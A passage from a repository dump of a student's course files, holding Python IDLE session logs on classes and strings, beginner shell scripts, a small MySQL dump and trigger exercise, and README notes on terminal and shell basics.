more party()\n>>> \n=============== RESTART: /home/user/EDIBO/Python/OOP_test_1.py ===============\nBefore an = PartyAnimal()\nI am constructed\nI am constructed\nAfter an = PartyAnimal()\nBefore first an.party()\nSo far x property of object is: 1\nAfter first an.party()\n\nBefore second an.party()\nSo far x property of object is: 101\nAfter second an.party()\n\nBefore third an.party()\nSo far x property of object is: 201\nAfter third an.party()\n\nBefore one more party()\nSo far x property of object is: 202\nAfter one more party()\n>>> \n=============== RESTART: /home/user/EDIBO/Python/OOP_test_1.py ===============\nBefore an = PartyAnimal()\nI am constructed\nAfter an = PartyAnimal()\nBefore first an.party()\nSo far x property of object is: 1\nAfter first an.party()\nI am constructed\n\nBefore second an.party()\nSo far x property of object is: 101\nAfter second an.party()\n\nBefore third an.party()\nSo far x property of object is: 201\nAfter third an.party()\n\nBefore one more party()\nSo far x property of object is: 202\nAfter one more party()\n>>> \n=============== RESTART: /home/user/EDIBO/Python/OOP_test_1.py ===============\nBefore an = PartyAnimal()\nI am constructed\nAfter an = PartyAnimal()\nBefore first an.party()\nSo far x property of object is: 1\nAfter first an.party()\nI am constructed\n\nBefore second an.party()\nSo far x property of object is: 101\nAfter second an.party()\n\nBefore third an.party()\nSo far x property of object is: 201\nAfter third an.party()\n\nBefore one more party()\nSo far x property of object is: 202\nAfter one more party()\n>>> \n=============== RESTART: /home/user/EDIBO/Python/OOP_test_1.py ===============\nBefore an = PartyAnimal()\nI am constructed\nAfter an = PartyAnimal()\nBefore first an.party()\nSo far x property of object is: 1\nAfter first an.party()\nI am constructed\n\nBefore second an.party()\nSo far x property of object is: 1\nAfter second an.party()\n\nBefore third an.party()\nSo far x property of object is: 201\nAfter third an.party()\n\nBefore one more party()\nSo far x property of object is: 202\nAfter one more party()\n>>> \n=============== RESTART: /home/user/EDIBO/Python/OOP_test_1.py ===============\nBefore an = PartyAnimal()\nI am constructed\nAfter an = PartyAnimal()\nBefore first an.party()\nSo far x property of object is: 1\nAfter first an.party()\nI am constructed\n\nBefore second an.party()\nSo far x property of object is: 1\nAfter second an.party()\n\nBefore third an.party()\nSo far x property of object is: 201\nAfter third an.party()\n\nBefore one more party()\nSo far x property of object is: 202\nAfter one more party()\n>>> an\n<__main__.PartyAnimal object at 0x7f1c347616a0>\n>>> vars(an)\n{'x': 202}\n>>> type(an)\n<class '__main__.PartyAnimal'>\n>>> an.__del\nTraceback (most recent call last):\n File \"<pyshell#3>\", line 1, in <module>\n an.__del\nAttributeError: 'PartyAnimal' object has no attribute '__del'\n>>> an.__del()\nTraceback (most recent call last):\n File \"<pyshell#4>\", line 1, in <module>\n an.__del()\nAttributeError: 'PartyAnimal' object has no attribute '__del'\n>>> an.__del__()\nI am destructed 202\n>>> vars()\n{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/user/EDIBO/Python/OOP_test_1.py', 'PartyAnimal': <class '__main__.PartyAnimal'>, 'an': <__main__.PartyAnimal object at 0x7f1c347616a0>}\n>>> vars(an)\n{'x': 202}\n>>> an = 900\nI am destructed 202\n>>> an = 900\n>>> vars(an)\nTraceback (most recent call last):\n File \"<pyshell#10>\", line 1, in <module>\n vars(an)\nTypeError: vars() argument must have __dict__ attribute\n>>> an\n900\n>>> \n=============== RESTART: /home/user/EDIBO/Python/OOP_test_1.py ===============\nBefore an = PartyAnimal()\nI am constructed\nAfter an = PartyAnimal()\nBefore first an.party()\nSo far x property of object is: 1\nAfter first an.party()\nI am constructed\n\nBefore second an.party()\nSo far x property of object is: 1\nAfter second an.party()\n\nBefore third an.party()\nSo far x property of object is: 201\nAfter third an.party()\n\nBefore one more party()\nSo far x property of object is: 202\nAfter one more party()\n>>> an\n<__main__.PartyAnimal object at 0x7fd8166e56a0>\n>>> vars()\n{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/user/EDIBO/Python/OOP_test_1.py', 'PartyAnimal': <class '__main__.PartyAnimal'>, 'an': <__main__.PartyAnimal object at 0x7fd8166e56a0>}\n>>> vars(an)\n{'x': 202}\n>>> an = 900\nI am destructed 202\n>>> \n=============== RESTART: /home/user/EDIBO/Python/OOP_test_1.py ===============\nBefore an = PartyAnimal()\nI am constructed\nAfter an = PartyAnimal()\nBefore first an.party()\nSo far x property of object is: 1\nAfter first an.party()\nI am constructed\n\nBefore second an.party()\nSo far x property of object is: 1\nAfter second an.party()\n\nBefore third an.party()\nSo far x property of object is: 201\nAfter third an.party()\n\nBefore one more party()\nSo far x property of object is: 202\nAfter one more party()\n>>> vars()\n{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/user/EDIBO/Python/OOP_test_1.py', 'PartyAnimal': <class '__main__.PartyAnimal'>, 'an': <__main__.PartyAnimal object at 0x7fd7a19f4668>}\n>>> an\n<__main__.PartyAnimal object at 0x7fd7a19f4668>\n>>> vars(an)\n{'x': 202}\n>>> an = 900\nI am destructed 202\n>>> \n=============== RESTART: /home/user/EDIBO/Python/OOP_test_1.py ===============\nBefore an = PartyAnimal()\nI am constructed\nAfter an = PartyAnimal()\nBefore first an.party()\nSo far x property of object is: 1\nAfter first an.party()\nI am constructed\n\nBefore second an.party()\nSo far x property of object is: 1\nAfter second an.party()\n\nBefore third an.party()\nSo far x property of object is: 201\nAfter third an.party()\n\nBefore one more party()\nSo far x property of object is: 202\nAfter one more party()\n>>> an\n<__main__.PartyAnimal object at 0x7f3bf4e54668>\n>>> vars(an)\n{'x': 202}\n>>> x=900\n>>> vars()\n{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/user/EDIBO/Python/OOP_test_1.py', 'PartyAnimal': <class '__main__.PartyAnimal'>, 'an': <__main__.PartyAnimal object at 0x7f3bf4e54668>, 'x': 900}\n>>> an = 900\n>>> \n" }, { "alpha_fraction": 0.3073593080043793, "alphanum_fraction": 0.4502164423465729, "avg_line_length": 18.16666603088379, "blob_id": "6c7cd821fee8b21bf43092ae4ff8aea7bdfc2de9", "content_id": "a06942238b49ee2085f89fbb1d520e2f3d7eceff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 231, "license_type": "no_license", "max_line_length": 40, "num_lines": 12, "path": "/SHELL/skripts_dec_to_bin_2.sh", "repo_name": "Dani653s/EDIBO", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\necho Number given: $1\na=0; b=0;\nb0=0;b1=0;b2=0;b3=0;b4=0;b5=0;b6=0;b7=0;\n\na=$(($1/2)); b=$(($1%2)); b0=$b\necho $a $b $b0\na=$(($a/2)); b=$(($a%2)); b1=$b\necho $aa $b $b1\na=$(($a/2)); b=$(($a%2)); b2=$b\necho $aa $b $b2\n\n" }, { "alpha_fraction": 0.5173770785331726, "alphanum_fraction": 0.5514754056930542, "avg_line_length": 10.90625, "blob_id": "dc83e0dbb30a6af347110e3e52f5995c91cc429c", "content_id": "ac2a87b13ef9823fecc5e37e436faf48e123650e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1531, "license_type": "no_license", "max_line_length": 72, "num_lines": 128, "path": "/Python/diary_20200813a.py", "repo_name": "Dani653s/EDIBO", "src_encoding": "UTF-8", "text": "Python 3.6.8 (default, Jan 14 2019, 11:02:34) \n[GCC 8.0.1 20180414 (experimental) [trunk revision 259383]] on linux\nType \"help\", \"copyright\", \"credits\" or \"license()\" for more information.\n>>> a = 10\n>>> int\n<class 'int'>\n>>> type(a)\n<class 'int'>\n>>> a\n10\n>>> 10 == int\nFalse\n>>> type(a) == int\nTrue\n>>> if type(a) == int:\n\tprint(\"labi\")\n\n\t\nlabi\n>>> \n>>> a=10\n>>> if type(a) == int:\n\tprint(\"labi\")\nelse:\n\tprint(\"slikti\")\n\n\t\nlabi\n>>> a=5.5\n>>> if type(a) == int:\n\tprint(\"labi\")\nelse:\n\tprint(slikti)\n\n\t\nTraceback (most recent call last):\n File \"<pyshell#22>\", line 4, in <module>\n print(slikti)\nNameError: name 'slikti' is not defined\n>>> if type(a) == int:\n\tprint(\"labi\")\nelse:\n\tprint(\"slikti\")\n\n\t\nslikti\n>>> \n>>> \n>>> \n>>> \n>>> \n\n>>> \n\n>>> \n\n\n>>> \n>>> \n\n\n>>> \n\n>>> \n\n>>> \n\n>>> \n\n\n>>> \n\n>>> if type(a) == int:\n\tprint(\"labi\")\nelif type(a) == float:\n\tprint(\"arī labi\")\nelse:\n\tprint(\"slikti\")\n\n\t\narī labi\n>>> \n>>> \n>>> \n>>> a=10\n>>> if type(a) == int:\n\tprint(\"labi\")\nelif type(a) == float:\n\tprint(\"arī labi\")\nelse:\n\tprint(\"slikti\")\n\n\t\nlabi\n>>> a=5.5\n>>> if type(a) == int:\n\tprint(\"labi\")\nelif type(a) == float:\n\tprint(\"arī labi\")\nelse:\n\tprint(\"slikti\")\n\n\t\narī labi\n>>> a=fg\nTraceback (most recent call last):\n File \"<pyshell#58>\", line 1, in <module>\n a=fg\nNameError: name 'fg' is not defined\n>>> a=\"fdsfs\"\n>>> if type(a) == int:\n\tprint(\"labi\")\nelif type(a) == float:\n\tprint(\"arī labi\")\nelse:\n\tprint(\"slikti\")\n\n\t\nslikti\n>>> print(\"aaa\\n bbb\\n ccc\")\naaa\n bbb\n ccc\n>>> print(\"aaa\\t bbb\\v ccc\\nddd\")\naaa\t bbb\u000b ccc\nddd\n>>> \n" }, { "alpha_fraction": 0.6215469837188721, "alphanum_fraction": 0.6215469837188721, "avg_line_length": 20.235294342041016, "blob_id": "3f667c1d56fc9238749f596d7a73896b8d638479", "content_id": "e402136596e9709f5b77b1d2484c87145bfad0dd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 362, "license_type": "no_license", "max_line_length": 40, "num_lines": 17, "path": "/Python/README.md", "repo_name": "Dani653s/EDIBO", "src_encoding": "UTF-8", "text": "## PYTHON \n#### Commands\npython = to open \nexit() = go back to bash (ctrl+D) \nvars() = modules that I have rn \nprint(vars.__doc__) = dictionary \ntype() = to understand \"class\" \na.image = complex number \na.real = real number \ndir() = functions \nprint(a.__doc__) = text with functions \n\nipython = to open \n\n.py - for scripts (format) \n\nidle = to open\n\n" }, { "alpha_fraction": 0.5568956732749939, "alphanum_fraction": 0.6518090963363647, "avg_line_length": 36.39215850830078, "blob_id": "08249572178ce1d608ef6dabc5d94cb0f5351dd9", "content_id": "0e26b407d95a9b4b07ed10d77c1e0c7b5363b547", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 1907, "license_type": "no_license", "max_line_length": 83, "num_lines": 51, "path": "/MySQL/Dump20200904-1/db23_LOAD_9.sql", "repo_name": "Dani653s/EDIBO", "src_encoding": "UTF-8", "text": "-- MySQL dump 10.13 Distrib 5.7.31, for Linux (x86_64)\n--\n-- Host: localhost Database: db23\n-- ------------------------------------------------------\n-- Server version\t5.7.31-0ubuntu0.18.04.1\n\n/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;\n/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;\n/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;\n/*!40101 SET NAMES utf8 */;\n/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;\n/*!40103 SET TIME_ZONE='+00:00' */;\n/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;\n/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;\n/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;\n/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;\n\n--\n-- Table structure for table `LOAD_9`\n--\n\nDROP TABLE IF EXISTS `LOAD_9`;\n/*!40101 SET @saved_cs_client = @@character_set_client */;\n/*!40101 SET character_set_client = utf8 */;\nCREATE TABLE `LOAD_9` (\n `Id` int(11) NOT NULL,\n `LOAD_9` varchar(45) NOT NULL,\n PRIMARY KEY (`Id`)\n) ENGINE=InnoDB DEFAULT CHARSET=latin1;\n/*!40101 SET character_set_client = @saved_cs_client */;\n\n--\n-- Dumping data for table `LOAD_9`\n--\n\nLOCK TABLES `LOAD_9` WRITE;\n/*!40000 ALTER TABLE `LOAD_9` DISABLE KEYS */;\nINSERT INTO `LOAD_9` VALUES (1,'Fish'),(2,'Fruits'),(3,'Vegetables'),(4,'Meat');\n/*!40000 ALTER TABLE `LOAD_9` ENABLE KEYS */;\nUNLOCK TABLES;\n/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;\n\n/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;\n/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;\n/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;\n/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;\n/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;\n/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;\n/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;\n\n-- Dump completed on 2020-09-04 17:10:08\n" }, { "alpha_fraction": 0.6792452931404114, "alphanum_fraction": 0.7320754528045654, "avg_line_length": 19.30769157409668, "blob_id": "48010d5ad35ec9d3094674b70b9f9064d29e44d8", "content_id": "c47440b938c96b20179188863ec2ffeae382febb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 265, "license_type": "no_license", "max_line_length": 56, "num_lines": 13, "path": "/MySQL/script_1.sql", "repo_name": "Dani653s/EDIBO", "src_encoding": "UTF-8", "text": "USE db24;\n\nDELIMITER $$\nCREATE TRIGGER MyTBL_9a_guard1 BEFORE INSERT ON MyTBL_9a\nFOR EACH ROW\nBEGIN\nDECLARE a varchar(100);\nSELECT CURRENT_USER() INTO @a;\nSIGNAL SQLSTATE \"50000\" SET message_text=@a;\nEND;$$\nDELIMITER ;\n\nINSERT INTO MyTBL_9a (Title) VALUE (\"AAA\");\n\n" }, { "alpha_fraction": 0.4888888895511627, "alphanum_fraction": 0.6000000238418579, "avg_line_length": 10.25, "blob_id": "0063881273dddee866c5a4d1336ad4e6dd911368", "content_id": "82d5a24ab94a47deec706b2e6b577aa1728eb93c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 45, "license_type": "no_license", "max_line_length": 24, "num_lines": 4, "path": "/SHELL/skripts_dec_to_bin.sh", "repo_name": "Dani653s/EDIBO", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nip1=10\necho \"obase=2;$ip1\" | bc\n" }, { "alpha_fraction": 0.6802030205726624, "alphanum_fraction": 0.6903553009033203, "avg_line_length": 23.625, "blob_id": "fd227dd8dc73cf8e519362e497691295f80217cf", "content_id": "1acc69308b386253eb7607bbf0de08a05e707bb7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 197, "license_type": "no_license", "max_line_length": 38, "num_lines": 8, "path": "/SHELL/test_special_variables_3.sh", "repo_name": "Dani653s/EDIBO", "src_encoding": "UTF-8", "text": "#!/bin/sh\n\necho \"File Name: $0\"\necho \"First Parameter : $Zara\"\necho \"Second Parameter : $Ali\"\necho \"Quoted Values: $Zara Ali\"\necho \"Quoted Values: $Zara Ali\"\necho \"Total Number of Parameters : $2\"\n" }, { "alpha_fraction": 0.6406208276748657, "alphanum_fraction": 0.6574792861938477, "avg_line_length": 28.401575088500977, "blob_id": "2315782545f8f8119937c9b0bcf75f566d984bc4", "content_id": "df680adc6128647322cdd6b9b5442e298cbc0e6e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3738, "license_type": "no_license", "max_line_length": 228, "num_lines": 127, "path": "/README.md", "repo_name": "Dani653s/EDIBO", "src_encoding": "UTF-8", "text": "# EDIBO\nEDIBO projekta elektroniskā klade\n## Day 01 - Day 02\n### Topics: \n- Terminal (hot-keys)\n- Shell (basics)\n- Git (basics)\n- ASCII table \n\n#### ASCII table \n[ASCII table](http://www.econwin.org/ascii.htm) \n\n#### Terminal Online\n[Terminal Online](https://cocalc.com/projects/319f978c-07db-4cdb-9c77-96e56038d25a/files/Welcome%20to%20CoCalc.term?session=default)\n\n## Hot-keys (Terminal):fire: \nctrl + alt + T = open terminal \nshift + ctrl + w = close terminal \nctrl + shift + \"+\" = more \nctrl + \"-\" = less \nctrl + L = to clear \ntab - add text \n\n## Commands (Terminal):floppy_disk: \n*P.S.(?) = something/anything*\n\nPS1 = \"?\" - to change user name \necho ? - displays word \n$? + $? - to do equations \npwd - where am I \nls - list \nls -l - list with info \nls -l -a - all list of directories \nls -lt - directories Alpha \nmkdir_? - to change the name \nrmdir_? - to remove \ncd - to change directory \ncd.. - to change directory backwards \ncd - - to go backs \ncd / - to go to the root \ncd ~ - home \ncat ? - to see text in the file; also ***tail; head; more;*** \nless - to go into the file \ndate - date \ncp - copy \ncal - calendar \nhistory - history \nwhoami - who am I \nwho - who is a user \necho $0 - bash \nexit - exit \nlast - who was connected last \ntree - tree of files \nman ? - shows documentation of the file \n? & - uses to do not stop work of the terminal \nVirtualBox --startum XP - starts virtual box with XP \n\n## Git (basic writing/formatting) \n\"#\" the largest heading \n\"##\" the second largest heading \n\"######\" - the smallest heading \n\nUse ** ** to do bold text \nUse * * to do italic text \nUse - before word to do lists \n\n#### DAY 04 \n#### USING SHELL VARIABLES \n variable_name=variable_value \n\nNAME=\"Zara Ali\" - example \nScript - \n#!/bin/sh \n \nNAME=\"Zara Ali\" \necho $NAME \nThis script will produce - \nZara Ali \n\n#### SPECIAL VARIABLES \n$0 - The filename of the current script. \n$n - These variables correspond to the arguments with which a script was invoked. Here n is a positive decimal number corresponding to the position of an argument (the first argument is $1, the second argument is $2, and so on).\n$# - The number of arguments supplied to a script. \n$* - All the arguments are double quoted. If a script receives two arguments, $* is equivalent to $1 $2. \n$@ - All the arguments are individually double quoted. If a script receives two arguments, $@ is equivalent to $1 $2. \n$? - The exit status of the last command executed. \n$$ - The process number of the current shell. For shell scripts, this is the process ID under which they are executing. \n$! - The process number of the last background command. \n\n#### USING SHELL ARRAYS \n array_name[index]=value \n\n${array_name[*]} - all the arguments - https://unix.stackexchange.com/questions/129072/whats-the-difference-between-and/129077 \n${array_name[@]} - all the arguments \n\n#### SHELL BASIC OPERATORS \n - Arithmetic Operators \n - Relational Operators \n - Boolean Operators \n - String Operators \n - File Test Operators \nBourne shell uses external programs - awk, expr. \nExample in test_operators_1.sh. \nOperators: +, -, *, /, %, =, == (equality), != (not equality). \nRelational Operators - \n\n#### SHELL DECISION MAKING \nStatements: if...else, case...esac. \n\n#### SHELL LOOP TYPES \nSyntax \n \n while command1 ; # this is loop1, the outer loop\n do\n Statement(s) to be executed if command1 is true\n \n while command2 ; # this is loop2, the inner loop\n do\n Statement(s) to be executed if command2 is true\n done\n\n Statement(s) to be executed if command1 is true\n done\n\n\n#### SHELL LOOP CONTROL \nExample in test_loop_control_1/2/3.sh \n\n" }, { "alpha_fraction": 0.5690435767173767, "alphanum_fraction": 0.5877193212509155, "avg_line_length": 17.117948532104492, "blob_id": "4716c6c2c9e95bde5c3d0b06ef35b7cd3a91fd00", "content_id": "52e910d5da377eaa94903d8d04ceb07887e9efc4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3534, "license_type": "no_license", "max_line_length": 203, "num_lines": 195, "path": "/Python/diary_20200813b.py", "repo_name": "Dani653s/EDIBO", "src_encoding": "UTF-8", "text": "Python 3.6.8 (default, Jan 14 2019, 11:02:34) \n[GCC 8.0.1 20180414 (experimental) [trunk revision 259383]] on linux\nType \"help\", \"copyright\", \"credits\" or \"license()\" for more information.\n>>> fruit = 'banana'\n>>> letter = fruit[1]\nSyntaxError: multiple statements found while compiling a single statement\n>>> fruit = \"banana\"\n>>> letter = fruit[1]\n>>> print(letter)\na\n>>> letter = fruit[0]\n>>> print(letter)\nb\n>>> letter = fruit[1.5]\nTraceback (most recent call last):\n File \"<pyshell#6>\", line 1, in <module>\n letter = fruit[1.5]\nTypeError: string indices must be integers\n>>> fruit = \"banana\"\n>>> len(fruit)\n6\n>>> length = len(fruit)\n>>> last = fruit[length]\nTraceback (most recent call last):\n File \"<pyshell#10>\", line 1, in <module>\n last = fruit[length]\nIndexError: string index out of range\n>>> last = fruit[length-1]\n>>> print(last)\na\n>>> index = 0\n>>> while index < len(fruit):\n\tletter = fruit[index]\n\tprint(letter)\n\tindex = index + 1\n\n\t\nb\na\nn\na\nn\na\n>>> \n>>> \n>>> \n>>> \n>>> \n>>> \n\n>>> \n\n>>> \n\n\n>>> \n>>> \n\n\n>>> \n\n>>> \n>>> \n>>> \n>>> for char in fruit:\n\tprint(char)\n\n\t\nb\na\nn\na\nn\na\n>>> \n>>> s = \"Monty Python\"\n>>> print(s[0:5])\nMonty\n>>> print(s[6:12])\nPython\n>>> fruit = \"banana\"\n>>> fruit[:3]\n'ban'\n>>> fruit[3:]\n'ana'\n>>> fruit = \"banana\"\n>>> fruit[3:3]\n''\n>>> fruit = \"banana\"\n>>> fruit [:]\n'banana'\n>>> greeting = \"Hello World\"\n>>> new_greeting = \"J\" + greeting[1:]\n>>> print(new_greeting)\nJello World\n>>> word = \"banana\"\n>>> count = 0\n>>> for letter in word\"\nSyntaxError: EOL while scanning string literal\n>>> for letter in word:\n\tif letter == \"a\":\n\t\tcount = count + 1\n\n\t\t\n>>> print(count)\n3\n>>> \"a\" in \"banana\"\nTrue\n>>> \"seed\" in \"banana\"\nFalse\n>>> if word == \"banana\";\nSyntaxError: invalid syntax\n>>> if word == \"banana\":\n\tprint(\"All right, bananas.\")\n\n\t\nAll right, bananas.\n>>> \n>>> \n>>> \n>>> \n>>> \n>>> if word < \"banana\":\n\tprint(\"Your word,\" + word + \", comes before banana.\")\nelif word > \"banana\":\n\tprint(\"Your word,\" + word + \", comes after banana.\")\nelse:\n\tprint(\"All right, bananas.\")\n\n\t\nAll right, bananas.\n>>> if word < \"banana\":\n\tprint(\"cucumber,\" + word + \", comes before banana.\")\nelif word > \"banana\":\n\tprint(\"orange,\" + word + \", comes after banana.\")\nelse:\n\tprint(\"All right, bananas.\")\n\n\t\nAll right, bananas.\n>>> if word < \"banana\":\n\tprint(\"Your word,\" + cucumber + \", comes before banana.\")\nelif word > \"banana\":\n\tprint(\"Your word,\" + orange + \", comes after banana.\")\nelse:\n\tprint(\"All right, bananas.\")\n\n\t\nAll right, bananas.\n>>> if word < \"banana\":\n\tprint(\"Your word,\" + cucumber + \", comes before banana.\")\nelif word > \"banana\":\n\tprint(\"Your word,\" + sea + \", comes after banana.\")\nelse:\n\tprint(\"All right, bananas.\")\n\n\t\nAll right, bananas.\n>>> if word < \"banana\":\n\tprint(\"Your word,\" + cucumber + \", comes before banana.\")\nelif word > \"banana\":\n\tprint(\"Your word,\" + sea + \", comes after banana.\")\nelse:\n\tprint(\"All right, bananas.\")\n\n\t\nAll right, bananas.\n>>> dir\n<built-in function dir>\n>>> dir()\n['__annotations__', '__builtins__', '__doc__', '__loader__', '__name__', '__package__', '__spec__', 'char', 'count', 'fruit', 'greeting', 'index', 'last', 'length', 'letter', 'new_greeting', 's', 'word']\n>>> word = \"banana\"\n>>> new_word = word.upper()\n>>> print(new_word)\nBANANA\n>>> word = \"banana\"\n>>> index = word.find(\"a\")\n>>> print(index)\n1\n>>> index = word.find(\"banana\")\n>>> \n>>> print(index)\n0\n>>> index = word.find(\"bana\")\n>>> print(index)\n0\n>>> word = \"banana\"\n>>> index = word.find(\"banana\")\n>>> print(index)\n0\n>>> word = \"banana\"\n>>> index = word.find(\"n\")\n>>> print(index)\n2\n>>> \n" } ]
13